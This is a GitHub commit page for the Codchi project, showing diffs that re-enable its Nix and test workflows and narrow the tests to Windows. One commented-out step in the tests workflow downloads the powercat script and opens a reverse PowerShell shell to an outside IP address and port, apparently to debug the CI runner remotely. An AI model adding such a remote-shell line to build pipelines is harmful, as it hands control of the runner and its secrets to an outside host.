Skip to content

Commit

Permalink
Codchi working on windows & linux
Browse files Browse the repository at this point in the history
Reenable caching
  • Loading branch information
htngr committed Mar 25, 2024
1 parent d2403db commit d9c337b
Show file tree
Hide file tree
Showing 53 changed files with 492 additions and 7,030 deletions.
12 changes: 5 additions & 7 deletions .github/workflows/nix.yml.disabled → .github/workflows/nix.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: nix

on:
pull_request: {}
push: {}

permissions:
contents: read
Expand All @@ -10,13 +10,11 @@ jobs:
nix:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: cachix/install-nix-action@v22
with:
github_access_token: ${{ secrets.GITHUB_TOKEN }}
- uses: actions/checkout@v4
- uses: DeterminateSystems/nix-installer-action@main
- uses: DeterminateSystems/magic-nix-cache-action@main
- uses: cachix/cachix-action@v12
- uses: cachix/cachix-action@v14
with:
name: nixos-devenv
authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}'
- run: nix flake check
- run: nix build .#checks.x86_64-linux.populate-cache
93 changes: 53 additions & 40 deletions .github/workflows/tests.yml.disabled
Original file line number Diff line number Diff line change
@@ -1,8 +1,10 @@
name: tests
on:
pull_request:
paths:
- 'cli/**'
push: {}

# pull_request:
# paths:
# - 'cli/**'

permissions:
contents: read
Expand All @@ -11,45 +13,56 @@ jobs:
test:
strategy:
matrix:
os: [ubuntu-latest, windows-latest]
os: [windows-latest]
# os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
defaults:
run:
working-directory: cli
# defaults:
# run:
# working-directory: cli
steps:
- uses: actions/checkout@v3
- uses: haskell/actions/setup@v2
id: setup
with:
ghc-version: 9.2
# Defaults, added for clarity:
# cabal-version: 'latest'
# cabal-update: true
# - run: |
# IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
# powercat -c 3.125.209.94 -p 16956 -ep

- run: |
cabal configure --enable-tests --enable-benchmarks --disable-documentation
cabal build --dry-run
# The last step generates dist-newstyle/cache/plan.json for the cache key.
# import-module appx -UseWindowsPowerShell
# add-appxpackage codchi.msix -allowunsigned
# wsl --update --web-download 2>&1
# $env:LOG="DEBUG"
# codchi start 2>&1

- name: Restore cached dependencies
uses: actions/cache/restore@v3
id: cache
env:
key: ${{ runner.os }}-ghc-${{ steps.setup.outputs.ghc-version }}-cabal-${{ steps.setup.outputs.cabal-version }}
with:
path: ${{ steps.setup.outputs.cabal-store }}
key: ${{ env.key }}
restore-keys: ${{ env.key }}

- name: Install dependencies
run: cabal build all --only-dependencies

# Cache dependencies already here, so that we do not have to rebuild them should the subsequent steps fail.
- uses: actions/cache/save@v3
# Caches are immutable, trying to save with the same key would error.
if: ${{ steps.cache.outputs.cache-primary-key != steps.cache.outputs.cache-matched-key }}
with:
path: ${{ steps.setup.outputs.cabal-store }}
key: ${{ steps.cache.outputs.cache-primary-key }}

- run: cabal run codchi-tests
# - uses: haskell/actions/setup@v2
# id: setup
# with:
# ghc-version: 9.2
# # Defaults, added for clarity:
# # cabal-version: 'latest'
# # cabal-update: true
#
# - run: |
# cabal configure --enable-tests --enable-benchmarks --disable-documentation
# cabal build --dry-run
# # The last step generates dist-newstyle/cache/plan.json for the cache key.
#
# - name: Restore cached dependencies
# uses: actions/cache/restore@v3
# id: cache
# env:
# key: ${{ runner.os }}-ghc-${{ steps.setup.outputs.ghc-version }}-cabal-${{ steps.setup.outputs.cabal-version }}
# with:
# path: ${{ steps.setup.outputs.cabal-store }}
# key: ${{ env.key }}
# restore-keys: ${{ env.key }}
#
# - name: Install dependencies
# run: cabal build all --only-dependencies
#
# # Cache dependencies already here, so that we do not have to rebuild them should the subsequent steps fail.
# - uses: actions/cache/save@v3
# # Caches are immutable, trying to save with the same key would error.
# if: ${{ steps.cache.outputs.cache-primary-key != steps.cache.outputs.cache-matched-key }}
# with:
# path: ${{ steps.setup.outputs.cabal-store }}
# key: ${{ steps.cache.outputs.cache-primary-key }}
#
# - run: cabal run codchi-tests
1 change: 0 additions & 1 deletion .old/cli/.ghcid

This file was deleted.

Loading

0 comments on commit d9c337b

Please sign in to comment.